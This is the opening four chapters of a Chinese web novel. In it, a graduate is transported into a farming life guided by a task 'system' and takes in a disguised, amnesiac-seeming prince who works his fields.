《穿越后一心种田》 1. 第 1 章 布谷鸟栖在槐树上,吱吱喳喳叫唤个不停。 季铮蹲在树下,嘴里咬着根干枯的茅草,几乎是绝望的看着面前的土地。 正是正午,四月里天气阴晴不定,烈阳当空,快要把他热成干了。 半晌,他在识海里敲了敲系统。 【你确定,这片至少三年没耕,一锄头下去纹丝不动,锄头报废的地是我五天的任务?】 系统本该毫无感情的机械音,此刻听起来无情极了。 【是的宿主,希望宿主尽快完成主线任务一:开垦田地;奖励:曲辕犁改进图纸。】 【时限五日,超时奖励将失效。】 “……” 草。 季铮心中万般怒火无处使,愤愤拾起手边一块硬石头,朝远处丢去,石头嘲笑他似的落在地上又弹起。 这破地,是给人种的吗! 三天前,季铮还是一枚刚刚毕业的男大学生,大包小包的提着行李奔向社会,不料出师未捷身先死,才到宿舍楼下,因某位哥们粗心大意,一盆仙人掌从天而降,像是有精准定位,直直砸中他的脑袋。 当季铮只觉脑门一热,嗡嗡作响,不出所料,他当即翘了辫子。 好在上天有好生之德,季铮没真一命呜呼。 再睁眼,他就到这了。 系统念他大学读的农业工程,十分人性化的安排了专业对口的任务——种田。 除了原身资料及任务,其余一问三不知,通通回复【宿主自行探索。】 可谓是抛去人性以外无用至极。 原身是个穷秀才,父母早亡,家中只有一个妹妹,妹妹为了供养他读书,定下的婚事迟迟无法完婚,在镇上小地主家里做绣娘。 偏生原主自十六岁参加科举,一连五年名落孙山,不争气还瞎讲究,满口君子远庖厨,在妹妹离家做工几天里,坚守自以为的“文人风骨”,把自己给饿死了,比起孔乙己有过之而不及。 因为原身是饿死,季铮猛一起身,险些晕过去再死一遍。 他凭借强大的求生意识,灌了两大碗水,才有些力气吃东西,没让原身把自己饿死的邪愿如愿。 从此,吃饱饭成了季铮在这个陌生地方的第一目标。 穿越第一天,季铮把家里能直接吃的吃了个遍,穿越第二天,季铮合上眼睡死过去,直到第三天,好不容易恢复体力,能正常下地时,任务一的时限已经过去小一半。 穿越前,季铮可是地地道道的农村娃,吃百家饭长大,谁家缺人手去谁家帮忙,锄地种田,放牛喂鸡,不在话下,各类农具运用熟练,甚至给猪接生都略知一二。 区区开垦田地,小菜一碟。 可真当锄头落地,他便不这么想了。 原身从小读书,从没做过重活,加上又死过一回。 这体质,也太差了吧! 连正常人类都算不上啊! 大周朝每人分田五十亩,女子分田二十亩。 不知其中是不是有水分,实际上七十亩地到手才四十亩不到,还全是硬邦邦的下等田。 季铮累死累活一上午,仅仅锄了五亩,零头不到,照这个速度,他猴年马月才能完成任务。 季铮抗争道,【能不能酌情延长时间,我一个人干两个人的活,还在床上瘫了两天。】 一如既往,系统没有反应。 季铮也是醉了,别人穿越不是神尊仙尊,也是皇帝权臣,左拥右抱走上人生巅峰,而到他这却是种田老百姓,面朝黄土背朝天,金手指系统聊会儿天也不会,只会重复任务,问多了就锁机不理人。 原来NPC到哪都是NPC,还好大周朝还算安定,不然他连地都种不安生。 一想到这,季铮脑里不由响起,穿越前村口老头天天唱的一首歌: “老农民~我滴乡亲~~1” 并非看不起农民,只是季铮前世种了一辈子地,穿越了也没机会当有钱人爽一爽。 农民心苦,农民不说。 正当季铮自我缅怀时,忽然有人叫住他。 “季大郎,这都到饭点了,还不回去吃饭啊。” 隔壁田里一位上了年纪的大爷朝他招手,老大爷姓赵,和他是邻居。 在他最饿的时候,借了他一把青菜几个馍,堪称救命恩人的存在。 季铮忙不迭把嘴里咬着的茅草吐掉,顺手理了理衣襟,维持邻里眼中以往文弱书生的形象,“嗯,我这就回。” 季铮扛起锄头,两人结伴回去。 路上,赵大爷调侃他,“到底是女娃娃会疼人,你看看,你小妹才走了多久,你都瘦了一大圈了。” 少年腰细腿长,麻布袍子松松垮垮罩在身上,难掩完美的身高比例,要是再胖些,壮些,便更好了。 倒是奇怪,天气毒得很,日日在太阳底下晒着,皮肤不黑反白,尤其一双眼睛胜春风多情,眉如点墨,笑起来人畜无害,让人如沐春风,频添好感。 这张脸和他穿越前的有八成相似,区别在于原身脸上没几块肉,显出几分病态。 他想,何止是瘦了一大圈?他可都饿死过一次了! 季铮笑着叹了口气,“惭愧,让您看笑话。” “唉,我倒是有个好办法。”赵大爷凑近他,低声说,“我头些日子上山,瞧见一窝野兔子,我年纪大了抓不住,你可有力气打来吃,也补补身子。” 季铮儿时爷爷还在世,常带他去地里打田鸡,跟着老人学过弓箭,布置陷阱等,三脚猫功夫虽谈不上精通专业,但最起码说的过去。 听赵大爷这么一说,季铮有些心动,又一想到自家家徒四壁,上哪找弓箭捕网?顿时打起退堂鼓,“不是我不去,只可惜我家没个趁手的物件,有心无力。” “好说好说。”赵大爷似早有所料,“我借你使,怎样?” “真的!” 季铮来了兴致,俗话说人是铁饭是钢,人硬不过饭,饭使人比钢还强。 奖励失效就失效吧。 他重活一世,总不能为了曲辕犁把自己饿死吧。 更何况,把自己养好吃饱饭才是重中之重。 或许是实在穷,家中食材所剩无几,连油都没有,这么长时间,季铮一丁点荤腥没粘,天天靠赵大爷接济的水煮青菜和杂粮硬饼子过活。 试问哪个穿越者比他惨? 再这么下去,他迟早会营养不良而死。 赵大爷哈哈一笑,“真的,一会你去我家拿就是。” 季铮面上染上喜色,激动道,“赵大爷,您可帮了我大忙,您且等着,我打到兔子分您一半。” 赵大爷满意“嗯”了一声,交易达成。 季铮没滋没味的啃完两个饼子,问清楚兔子窝具体位置后,他拿着赵大爷的网子上山。 网子许久没用,难免有些老化,季铮修理耽误了会儿时间,大概下午三四点,他得以进山。 子瘦山是一座荒山,山上植被杂乱生长,时常有大虫豺狼出没,因而周边百姓只敢在山脚下打些山鸡野兔,赶在天黑前回来,不敢往深处去。 根据季铮这几天从闲言碎语中了解,他现处于的地方其位于北方一个小村庄,四面环山,交通不便,那么大虫豺狼指的即是华北虎和豺犬了。 虽然季铮只在网络冲浪时见过这等野兽,但这两者的凶悍程度,他还是清楚的,没胆大到敢单枪匹马招惹它们的 地步。 赵大爷说,他是在半个月前发现那窝兔子,当时小兔才出生,现下正正好长成,烤着吃必然鲜美。 野兔白日通常躲在隐蔽处休息,以减少被天敌发现的风险,黄昏时夜晚时才会出窝觅食。 季铮到时天色还早,便循着小时候贪玩时学的,在兔子窝周围布下陷阱,以防万一。 做完这一切后,季铮也不闲着,顺风寻到一处山泉,打算顺手摸些小鱼虾。 山泉水潺潺流下,冰凉清澈,在阳光照耀下泛着鱼肚白,波光晃得人头晕。 季铮在天阳底下晒到现在,热得满头大汗,忙卷起袖子捧一把泉水洗了把脸,被热气堵住的毛孔顿时舒服了许多。 季铮喟叹一声,忽的,眼前闪过一抹暗色。 他定睛一看,是一片纯黑的衣裳布料。 山下常有妇人结伴来这洗衣裳,倒不足为奇。 季铮伸长胳膊将那片布料捞上来,想着自己还没个正经发带,总撕衣服也不是个事,正巧没人要,他改成发带使。 布料拿在手上,季铮觉出了不对。 季铮仔细端详,他虽不懂这些,但亦能看出不同之处。 平民百姓先来节俭,个个素衣麻布,一件衣服传三代,像如此精细绵软的料子,可不是他们能穿得起的,更别提舍得丢了。 季铮指尖揉搓几下,他凑近嗅了嗅,一股难以察觉的血腥气传来,确定真的是血液而不是他感受错了。 季铮面色一变,有人在这附近重则丧命,轻则重伤。 子瘦山风景秀美,即便是有钱人家来此踏青,身边不得呼奴携婢,三五好友,丧命山野这么大的事,他不会不知。 如此看来,这人恐怕十之八九贵不可言,遭人追杀,孤立无援,且行动定是见不得人,才会选择掩人耳目。 村里人都是老实的庄稼汉,不晓时政,系统也答非所问,季铮连如今朝代制度都摸不清,自然猜不出是个什么人物,只能作罢。 思虑过后,季铮不敢要这块布了,以免惹祸上身,他又丢到泉水里。 “……” 就装作没看见过好了。 比起发带,还是小命比较重要。 或许是常有人来的缘故,鱼虾都被捕的差不多了,一顿忙活后,季铮翻了翻手边的竹编篓子,所获不过了了。 他将两条巴掌大的鲫鱼单独挑出来,其余的小鱼虾全倒回水里,盯着这些小东西钻进石头缝里不见了踪迹。 季铮拍拍手站起身,抬头一瞅天色,日渐西沉,野兔该出窝了。 季铮因没摸到鱼虾的落寞一扫而空,兴冲冲的找回原处。 临近陷阱,灌木丛里传来剧烈挣扎的动静。 中了! 他小心翼翼的拨开草木,屏住呼吸望去,一想到总算能吃点好东西了,心底不免欣喜到唱歌。 小兔子~小兔子~ 乌漆嘛黑的肥兔子~ 嗯? 等等,兔子不可能这么大吧! 季铮眯了眯眼再一看,奶奶的,哪里是兔子,分明是个男人! 那人和季铮对视,吓得一抖,反应过来后面露希冀,“帮我,定有重谢。” 气氛一时十分尴尬。 面前的男人一身黑衣,用来捕兔的网子牢牢束缚住身躯,勾勒出健硕的腰身,被汗水打湿的发丝凌乱黏在脸上,面如冠玉,单看眉眼却冷厉非常,一股杀伐凶相,虽略显狼狈,依然能看得出出身不凡。是个贵公子。 重要的是,他身上的黑衣衣摆少了一块,料子与季铮在泉水里看到的那片几乎一模一样,保不齐正是它的主人。 天底下,还真有这般巧的事情。 2. 第 2 章 “公子?”男人又一挣扎,眉头紧紧蹙起,“若公子肯出手相助,来日不胜感激,无论贵重,尽管开口。” 季铮犹豫良久,最终还是伸手给人解开。 原因无他,谁让他从小背诵社会核心价值观长大,心善。 马上就要天黑,放任不管的话,明日再见便被豺狼老虎啃成骨头架了。 季铮一边解,一边吐槽道,“我不知你是哪方大神,得罪了谁,以至于躲在山林里来,但你破坏了我的陷阱,让我白白浪费了一下午时间,晚饭落空,还背上赔网子的债。” “算了,看你现在也拿不出钱,就当我行善积德,咱们一别两宽,我不告诉别人,你被抓了也别落井下石。” 男人抿唇,一眨不眨的看着季铮,不知在想什么。 网解下时,忽的问了一句,“你叫什么名字?” 季铮下意识脱口而出,“季铮,一年四季的季,铮铮铁骨的铮。” 说完,他拎起竹篓子,摆了摆手,头也不回,扬长而去。 他走后,男人撑起身子,活动着手腕,目光追随季铮的背影,直到彻底看不见,也没有收回视线。 “殿下,您腿伤还没好全,怎么到这来了。兔子我抓住了,今晚属下给您烤了,殿下?您看什么呢?” 赵年提着两只剥了皮的死兔子,奇怪地挠了挠后脑,“殿下,怎么了?” 男人收回视线,“没什么,你去打听一个人。” 赵年问,“谁?” “叫季铮,应许就住在这附近。” 赵年不理解,但听殿下的肯定没错,他规规矩矩的应下,“是。” 季铮赶在天黑前回到家,赵大爷还没睡下,在院子里拨豆荚,看见他两手空空的回来,没多说什么,招呼人过来坐下。 赵大爷说,“你大娘做饭呢,一会儿别回去了,就在这吃。” 季铮羞愧极了,他把竹篓子朝赵大爷推了推,“对不住,我没抓到兔子,网也坏了,这两条鱼,当做是我赔给您的,网子我明天补好了再给您。” 赵大爷也不拒绝,打开看了看,“哎呦,原来是鲫鱼,还不小呢,鲫鱼炖汤好喝,正好今晚吃了它。” “老婆子,季家小子送了两条鱼来。” 赵大娘应声走出厨房,面上挂着慈祥的笑,看了赵大爷手里提的鱼,笑道,“季家小子是读书人,有能耐。” 原身父母在原身十岁的时候就走了,他和妹妹相依为命,能平安长大,少不了赵大爷一家的照顾。 前几年,赵大爷唯一的儿子参军离家,老两口便把季铮兄妹当成了自家孩子疼爱,这份情感是前世六亲缘浅的季铮没遇到过的。 虽然才穿来没几天,但他已经切切实实把这老两口看作亲人了。 这般想着,季铮不禁更羞愧了几分。 赵大爷还以为他是因为没捕到兔子,劝道,“行了,你这小身板,本来也没指望你能带东西回来,有两条鱼,很可以了。” 这是在安慰他还是在骂他呢? 季铮勉强扯出一个笑。 他忘了,原身是个十指不沾阳春水的书呆子,要是真抓住猎物了,反倒见了鬼了。 季铮欲言又止,最后憋出一句,“我会把网子修好的。” 第二天,天微微亮。 季铮睁眼,边打着哈欠边走到门前。 一开门,蒙头撞上一人,那人生的高壮,像一面肉墙,遮住了为数不多的光亮,阴沉沉的罩住他。 季铮不满骂道,“我操了,谁啊,大早上堵我家门口,想干啥?” 他捂着发酸的鼻子抬头,看清来人那一秒霎时愣住。 “……” 季铮满目震惊,“我操了,你怎么找到这的?” 这个一大早堵在他家门口的人,正是昨天下午被网子捆住的男人。 男人勉强笑着,遗憾的是,他这张冷冰冰的脸实在不适合有笑容,看起来怪瘆人的,他笑道,“公子考中生员,我既得知名讳,打听你住哪,再简单不过。” 据季铮了解的,这个年代科举制尚未普及,理论上“取士不问家世”,但仍受世家强烈抵制,世家子弟凭借族望入仕,升迁的速度远远高于寒门,导致“上品无寒门,下品无贵族。” 自古王孙贵族,最爱垄断平民的受教育权,以稳固家族世代昌盛,家学传承,独占典籍,常见文言古文即是其中一种,甚至连入学,世家子弟更容易得到推荐推荐入学的机会。 贫民百姓别说参加科考了,能读书都是幸事,寒门学子入仕难上加难。 原身出生乡野,私塾学费昂贵,官学更搭不上边,按他的家庭环境,恐怕没上过几年正经学,区区十六,通过县试,府试,院试,考中生员,其天赋不容小觑,不至于人人皆知,也是十里八乡了熟于耳的程度,确实再简单不过。 季铮默了默,移开眼,“有事?” 男人道,“如果可以,我希望可以在你家叨扰一段时间。” “哦~这样啊。”季铮张大嘴巴,恍然点头道,“当然……” 男人以为他同意了,松了口气,“谢过。” 话没说完,只听季铮话锋一转,“不可能。” 说着,他后退一步,抬手要关门,只不过门没关上,男人强健有力的胳膊卡进门缝里,硬生生又给扒开了。 !?是牛吧,这么大劲! 男人敛了面上不和谐的笑,冷冷扫过他,有一种你不答应也得答应蛮横之势,“晚了。” 季铮手还搭在门上,闻言不解皱眉,“什么意思?” 男人不语,身后穿来赵大爷的声音,“季家小子,接到你弟弟了?” “嗯?弟弟?”季铮嘴角抽搐,他上下打量一遍男人,“你?” 男人从鼻腔里发出一声哼笑,他凑近季铮,那张冷若冰霜的邪魅面庞近在咫尺,说出的话却像毒蛇般阴森,“正是我,好哥哥,弟弟来投奔你了。” 说罢,他让开位置,回头和赵大爷打招呼,“大爷,早。” “唉!”赵大爷乐呵呵的笑了笑,背着箩筐走远了。 赵大爷走后,男人垂眼,挑了挑眉,十分得意,“小季生员,你还有话说吗?” 季铮气笑了,“不是哥们……公子,我到底哪招惹你了?” “你救了我,何不救到底?还有,”男人道,“我叫陆观潮,你也不想名声受损吧。” 在大周朝入仕,取前朝旧习,单靠才学不够,名声这一块得过关,陆观潮笃定了他要入仕,担不起抛弃手足的污点。 这招,实在是高。 要是原主,说不定就被牵着鼻子走了。 但他绑定的不是升官发财系统,而是种田系统,全然没有入仕的想法打算,还在乎个狗屁名声,地种的好就够了。 季铮勾勾唇角,皮笑肉不笑,“谢谢你啊,保住了我的名声。” 不过,收留男人并非全无用处,他目光落到男人胸口结实的肌肉,系统发布的任务他可还没完成。 陆观潮一身牛劲,不种地太可惜了。 陆观潮不知道他在想什么,环手而立,“好哥哥,不请我进去?” 季铮打定主意,意味深长的笑了,侧身放陆观潮进屋,“我家又破又小,您可别嫌弃。” 他家院子共有两间卧房,一间厨房,这间是他的,另一间则是 原主妹妹的,住的满满当当, 屋内十分简陋,一副桌椅,两个柜子,外加一张床,再无其他。 季铮等着看陆观潮露出不习惯的神情,毕竟以他的推测,陆观潮定是有钱有权人家的少爷,过不惯清贫日子。 不想陆观潮接受能力极强,他环视一圈,一点也不客气,“不错,麻雀虽小,五脏俱全,我住哪?” 季铮说,“我家就两间房,那间是我妹妹的,你是外男,和我挤挤吧。” 陆观潮意外道,“你有一个妹妹?” “是,不过她在外务工,不知道什么时候回来。”季铮一边说,一边抄起两把锄头掂了掂,把其中一把塞到陆观潮手里。 陆观潮愣愣接过,“这什么。” 季铮看傻子一样看他,“锄头,像这样,锄地用的。”他在空中演示了几下。 陆观潮,“我知道,给我干什么?” “你不会想待在我家吃白饭吧,弟弟。”最后两个字被他可以加重,优游不迫的看陆观潮的反应。 陆观潮颔首,自然的扛上锄头,“那走吧,好哥哥。” 有股蓄力一拳打到棉花上的恶心感是怎么回事。 眼看天光大亮,再不去便要过了凉爽的时间,到时锄地会更累。 季铮瞥了眼毫无怨言甚至有些跃跃欲试的陆观潮,领着人往田里去。 他记得,昨天陆观潮身上还有伤。 姓陆的,你最好千万别中看不中用,不然他保准第一个赶走你。 一路上,陆观潮一点古人的矜持都没有,似乎是脑袋迟钝不觉得有问题,还是为了恶心他,操着木然寡淡,没有起伏的声调,一口一个好哥哥喊得格外顺口。 尤其是有同村人路过时,恨不得让所有人知道季铮多了个弟弟,眼看快到田里了,陆观潮仍然不知收敛。 季铮忍无可忍,“叫我季铮!” 陆观潮抬眼望了望,收放自如,“好的,季铮。” 不得不说,陆观潮这一身肌肉不是白长的。 季铮从田里抬起头时,陆观潮已经超过他老远。 季铮扶着锄头喘粗气想,一个富家子弟,干起农活来,这么熟练的吗? 陆观潮黑衣被汗水打湿,黏腻腻的贴在背上,冷脸干得十分卖力熟练,就像从前经常干似的,一句怨言也没有。 季铮有些纳闷,瞧这人不像是无法自理,躲在林子里未必活不下去,为什么大费周折的缠上他。 陆观潮他到底图什么呢?季铮想不通,他甩甩脑袋,让自己清醒过来,扯着袖子把头上的汗擦去。 他有什么可利用的地方,季铮自己都不知道,穿越种地已经很惨了,再惨还能惨到哪里去? 临近正午,季铮叫停陆观潮。 陆观潮停了动作走来,除了头上一层汗水,别的一切如常,脸不红气不喘,真是天生神力。 季铮不怀疑,如果不叫住陆观潮,他能一言不发干上一天。 陆观潮把锄头放到树边靠住,活动了几下胳膊,问他,“怎么了?” 季铮道,“我还没黑心到压榨劳动力,来吃点东西吧。” 陆观潮“嗯”了一声,接过季铮递来的饼子,就着水大口啃着。 这会儿,倒不恶心人喊“好哥哥”了,季铮内心叹气,这人这么忽冷忽热的。 粗粮饼子很硬,季铮嚼得费劲,他掰下一块,放到水里泡软了再送入口中,才吃了没几口,一抬头,陆观潮已经吃完一个,正盯着他看。 季铮咀嚼的动作慢了下来,他吞咽下口中的饼子,语气迟疑道,“你,你没吃饱吗?” 陆观潮眨了眨眼,不置可否。 3. 第 3 章 “……” 好吧,总不能不让人吃饱饭,季铮又掏出一个给他。 没过多久,季铮再次感受到了那道炽热的视线,他不禁后背一凉,慢吞吞的看向陆观潮,“你不会,还没吃饱吧。” 陆观潮一点头。 是你吗,八戒?当他这是高老庄呢? 季铮讪笑两声,“胃口大,好事,好事……” 好个屁啊! 季铮掏出带的最后一个饼子,心如刀绞,万般不舍,他咬咬牙,“给,吃吧。” 陆观潮并不觉得不好意思,坦然吃了起来。 这回季铮不埋头吃饼了,好奇的看着陆观潮是怎么吃得这么快的。 只见陆观潮咬下一口,嚼了没两下就下肚了,宛如一台无情的咀嚼机器,并没有少爷的斯文经,像是个多年行军的糙人。 不过转眼,陆观潮喝完最后一口水,三张和脸差不多大的饼子全吃完了,而季铮手上这一个还没吃完。 恐怖如斯! 季铮看得心惊肉跳,他现在觉得陆观潮简直是个怪物。 陆观潮有所察觉,目光凉凉的扫过他,季铮紧张道,“你吃饱了吧。” 好在陆观潮不是个真怪物,“还有水吗?” 季铮把自己碗里的水倒给他一半。 陆观潮吃饱喝足,想起来说谢谢了,季铮强颜欢笑,不过转头看到锄了一半多的田地,霎时间哄好自己。 吃得多怎么了,人家干的还多不就行了。 一上午时间,两人锄完了将近二十亩的面积,其中陆观潮一个人就锄了十五亩,是他的三倍不止。 如此看来,他能在今天里,完成系统发布的任务一。 季铮边想,嘴边勾起一个淡淡的笑意。 陆观潮等着季铮吃完,闲着无聊,他眸光一斜,细细打量起这人,在赵年打听的消息,季铮比他还要大上一岁,为人古板固执,不爱说话。 今日一见,传闻真实性可见一斑,季铮此人,分明还是个初出茅庐的孩子,哪像赵年说的那个样子? 心思单纯,脾气软乎,连长相都是一副…… 陆观潮从季铮嘴边的那一抹浅笑移开眼,看头顶的苍穹,烈阳透过树叶的缝隙,刺的人眼睛生疼,他补上后半句。 人人可欺的酸臭文人样。 陆观潮冷哼一声,他最烦文人了。 季铮戳了戳陆观潮,“哥们,我既然收留了你,总得知道你是什么身份,得罪了谁被逼至此。” 陆观潮眼神暗了暗,他不动声色离季铮远了些,躲避他的触碰,“我和你还没相熟到称兄道弟的程度。” 那刚才叫好哥哥叫得开心的是哪位? 季铮咬牙,“行,陆观潮,现在可以和我说了吗?” 陆观潮:“我都不记得了。” 很假,但季铮就是这样信了,他一蒙,“什么叫不记得了。” 陆观潮不耐道,“我失忆了,一醒来就被捆在网里了,除了名字都忘了。” 原来还是个病号。 听他这么说,季铮生出了几分同情。 “bro,我懂你。”季铮怜惜的拍了拍陆观潮的肩膀,他也是一睁眼发现身处完全陌生的环境,对这种迷茫感和恐惧感同身受。 陆观潮眯了眯眼,“不肉,是什么意思?” 糟了,说顺口了。 季铮硬着头皮解释,“方言,意思是血脉相连,永不分离,你是我兄弟,形容关系亲密……或许吧。” 陆观潮拍开季铮还放在他肩上的手,“同样的话,我不喜欢说两遍。” 季铮讪讪收回手。 两人休息了会,又马不停蹄的投身田地干活。 下午要比上午天热,季铮速度明显减慢。 陆观潮却还是精力充沛,仿佛有使不完的劲,叫季铮好一阵羡慕。 日落黄昏,季铮看了看日头,该回家了。 赵大爷路过这,吓了一跳,“哎呦呦,不得了,季家小子,你这弟弟真能干。” 季铮笑道,“是,他的确能干。” 赵大爷要留两人回家吃饭,被季铮拒绝了,陆观潮意外的看向他,最终也没说什么。 到家,陆观潮疑惑问,“为什么不去?” 季铮反应了一会才明白过来陆观潮的意思,叹一口气,这人幸好生在富贵人家,不然按这死脑筋早人人唾弃了。 季铮连同饭前的事一块和他解释道,“赵大爷就一个儿子,早早参军,有快一年没来信了,老两口过日子拮据,也怪我没提前给你说,以后再去吃饭,随便吃两口够了,不行回来再吃。” 陆观潮若有所思的点点头又问,“他儿子叫什么?” 季铮凝眉思索了一会,不确定道,“好像叫二蛋,赵二蛋?” 陆观潮梗了一下,没想到会如此草率。 半晌,陆观潮道,“吃什么?” 季铮不用想都知道是陆观潮饿了,他转头钻进厨房,给这尊大佛做些。 古代不比现代,没有天然气,全靠柴火。 季铮生起火,锅热,为了犒劳陆观潮,舀了小半勺平日舍不得吃的猪油,固状的白色膏体化开,香气弥漫开来。 陆观潮不知什么时候过来了,倚在门框边上看他动作,莫名来了一句,“你会做饭?” “废话,我难道天天去别人家蹭吃蹭喝吗?” 陆观潮不说话了,他确实是这么认为的,文人远庖厨,是不屑于进厨房,所以在季铮拒绝赵大爷时他才会那么吃惊。 看来这个人,并不像他印象里十指不沾阳春水的娇宝宝。 不过也是,一个穷到要自己下地的人,怎么可能不会做饭。 不一会儿,季铮端着一碗汤面出来,陆观潮也不客气,连谢谢都免了,风卷残云般吃完了一碗面。 季铮瞠目结舌,这样吃,真的不会得胃病吗? 陆观潮却格外坦然,一点也不觉得自己有哪里不妥。 “我们怎么睡。” 季铮收拾好碗筷,和陆观潮在床边大眼瞪小眼。 床不大,睡下一个人刚刚好,睡两个人实在勉强。 季铮道,“要不我打地铺。” 陆观潮看他一眼,“我来,毕竟你是主人。” 好兄弟,就等你这句话了,季铮没推辞,帮着人铺好地铺,自顾自躺上床。 忙了一天,他格外疲惫,合上眼没多久便睡着了,发出均匀的呼吸。 黑暗中,陆观潮睁开眼睛,他看了眼季铮,悄无声息的起身出门。 门外,赵年抱拳行礼,视线交织,默契的往外走。 确认没人能发现后,赵年道,“殿下,如何了?” 陆观潮低头看了看衣摆粘到的泥点,“是个 傻子,今日本王在人前与他故作亲昵,想来往后不会遭人怀疑,不过他还有个妹妹,有些棘手。” “辛苦殿下了……” 赵年想起白日看到的场景,他家不苟言笑的殿下冷着脸,叫好哥哥的滑稽模样,想笑的同时又不免心酸不平。 他家殿下向来是高高在上,连刀架在脖子上也一声不吭,什么时候用过装失忆的手段求过人,要不是因为那人。 亏他曾经还感激过那人。 如今那人要搜山逼迫他们现身,他们受限出不了城,只能出此下策躲在季铮家里。 陆观潮想起什么,道“我从前在军中不关心这些事,你可知道军里有个叫赵二蛋的。” 大周朝大小将领无数,称霸一方的将领有三位,珏王陆观潮,管东北方,镇南候管南,岭山候管西。 其中陆观潮一骑绝尘,统兵数目最多,管理面积最大。 他们现在身处之地是十六州其一的云州,即归他管,因他封号珏,故称珏王军,赵大爷的独子赵二蛋大概率在他麾下。 赵年回忆几秒,最后摇了摇头,“殿下统领士兵不说十万,也有九万,属下得看过名簿后才敢下定论。” “那算了。”陆观潮道,“你明天启程去江南道一带,秘密找镇南候,将本王的事告诉他,他知道该怎么做。” “是,那殿下您怎么办?” 陆观潮道,“他们没见过你,但不一定没见过我,被发现的几率太大了,不能冒险,你需独身一人前往,本王另有打算。” 第二天,季铮一觉醒来,习惯性的翻身下床,只觉得脚下一热,这才反应过来自己家多了个人,忙收回脚。 忽的大力袭来,再回神时,他已然被陆观潮制住脖子,死死压到身下。 季铮瞪大眼睛,脖子被掐住,他吓得大气不敢喘。 属于男人凌厉的气息扑面而来,随之是不容忽视的窒息感。 半晌,陆观潮慢慢松开手,坐起来,“原来是你。” 季铮长呼出一口气,他颤颤巍巍的扶住床沿,心有余悸,这个男人有病吧。 季铮摸了摸还安全的脖子,不照镜子也猜得出留下了痕迹,看陆观潮的眼神中多了几分胆怯。 这都什么事啊,季铮好心收留他,给吃给喝,使他点力气,至于怨气这么大吗,不就踩了一脚,想要了他的命? 季铮后悔晚了,把人留下恐怕赶不走了。 陆观潮别过脑袋,“我不是故意的,谁让你……” 说着,他伸手想看看季铮脖子上的伤,被季铮侧身躲开。 季铮后退几步,打着哈哈,“我没事,我去做饭了。”说罢落荒而逃。 陆观潮望着他的背影失神片刻,这一幕在他眼里,季铮满眼惊慌失措,似他儿时杀得第一头猎物——一只野鹿。 那头野鹿的眼神亦是这般,惹人怜爱。 陆观潮不自然的垂首看向某处,蓦然像火烧着一样,匆匆瞥向别处。 另一边,季铮蹲在灶台边上生火,稳下心神后,他在识海里叫系统: 【任务一完成了,我的曲辕犁呢。】 系统嘀嘀嘀一会儿,弹出消息框。 【检测到任务一已完成,奖励成功发放,请自行探索。】 【发布任务二:播种,时效两天。】 【奖励:织机改进图纸明细。】 4. 第 4 章 许是心里愧疚,陆净规跟在他身后出来,“我帮你吧。” 能用白不用,季铮一心急着去找系统发放的奖励,便随他去了。 原身这个屋子里,唯一能放东西的,只有角落里摆着的两个箱子。 那两个箱子一个放衣服,一个放书,他穿来第一天为了找食物,翻了翻便没再管了,一来他首要任务是填饱肚子,二来,他前世读书早读够了。 果不其然,季铮在放书的箱子里找出一本从没见过的书。 书皮漆黑,写着简体“曲辕犁”三个字。 一并找到的,还有几两被层层包裹的银子,应是原身攒下准备科考的钱,他竟才翻到,这下就不愁一时吃穿了。 人逢喜事精神爽,季铮连看陆观潮这个差点杀了他的危险人物,都敷衍的笑了笑。 陆观潮被看的不自在,硬着头皮道歉,“对不住,我不是故意的,你有受伤吗?” 听他一说,季铮才觉出后腰有一块地方阵阵发痛,他揉了揉,也许是拉扯过程中不小心碰到了。 季铮不是小题大做的人,此事事出有因,本来就是他先踩了陆观潮一脚,即使陆观潮反应确实过激,说全怪他也难免过于牵强。 何况陆观潮没脸没皮缠上他了,他赶又赶不走,得罪又得罪不起。 君子报仇十年不晚,趁人现在还愿意干点活,先捞一把力气,若是惹急了陆观潮,恐怕小命不保。 季铮在心底默默吐槽:这不是收留,这是请了个祖宗回家。 穿越前他也没少受伤生病,有时打工赚的钱不多,忍忍便过去了。 于是季铮没把后腰的伤放在心上,无所谓的摆摆手,“没事,对了,播种完我要去一趟镇上,你要一起去吗?” 陆观潮想到什么,点头答应了。 原身妹妹屋里有一面铜镜,饭后,季铮去房里找了一件高领的衣服,照着镜子把脖子上的痕迹遮住。 老老实实吃了几天饭,脸上长了些肉,虽然不多,至少不是他刚醒来时的饿死鬼样了。 季铮冲镜子里的自己笑了笑,是一个很讨人喜欢的笑,长发高高束成马尾,再配上身上的高领。 他摸了摸下巴,这是不是网上说的禁欲系? 季铮是个十足的乐天派,这么一想给自己逗笑了。 不就受了点小伤吗,他都死过一次了有什么的。 季铮笑着摇摇头,走出门去。 陆观潮在门口守着,回头一看怔了怔,僵硬的别过头。 播种没有锄地费力,季铮找出原身妹妹留下的麦种,和陆观潮去田里。 陆观潮还因为早上的事愧疚,主动请缨,承担全部工作量,让季铮休息。 季铮乐得清闲,有人替他干活再好不过了,于是站在一边指导陆观潮。 播种说容易也并不容易,是个精细活。 量要摸准,太少很难高产,太多则会导致幼苗生长细弱。 深度也有讲究,太深出苗慢,太浅又不出苗。 总而言之,季铮很担心陆观潮会把他家为数不多的种子糟蹋了。 毕竟锄地要靠一身力气,而播种可用不上。 谁想陆观潮不仅力气大,做起播种的精细活也不含糊,很有一套。 季铮跟着他看了一会儿,发现完全用不着他,便坐到树下躲太阳,放心交给陆观潮去做,心底盘算着去镇上要买些什么。 季铮早上匆匆翻看了系统发放的书,书中讲的十分详细,包括材料,制作及用法等。 需要的材料他记了下来,穿越前他曾为了赚广告费,做过一段时间博主,尤其喜欢捣鼓这些,虽然最后不了了之,但知识是学到脑子里了。 曲辕犁,其辕曲,因以名。 一种轻便的短曲辕犁,区别于直辕犁,因其首先在苏州等地推广应用,又称为江东犁。 将直辕,长辕改为曲辕,短辕,并在辕头安装可以自由转动的犁盘,这样不仅使犁架变小变轻,而且便于调头和转弯,操作灵活,节省人力和牲畜。 曲辕犁主要材料是木头,林里最不缺的就是木头,何况他还有陆观潮这么一个苦力。 只买些工具,再拜托铁匠锻造就行。 还有丝线,先前借赵大爷的网子还没补,如果买完还有剩,得给陆观潮买件衣裳。 季铮自认为身量不小,在村里同邻人中算得上鹤立鸡群,跟陆观潮比起来,却是小巫见大巫,他的衣服陆观潮不可能套的上。 这身黑衣布料极好,太过招摇,季铮一个穷秀才,平时都扣扣搜搜,买本书也得精打细算,“弟弟”有钱何必投奔他来。 更重要的是,陆观潮不知道多久没换衣服了,干了一天活,衣服上全是汗臭味,季铮不是嫌弃,只是抬头不见低头见的,他害怕万一哪天一不小心恶心吐了。 “季铮。” 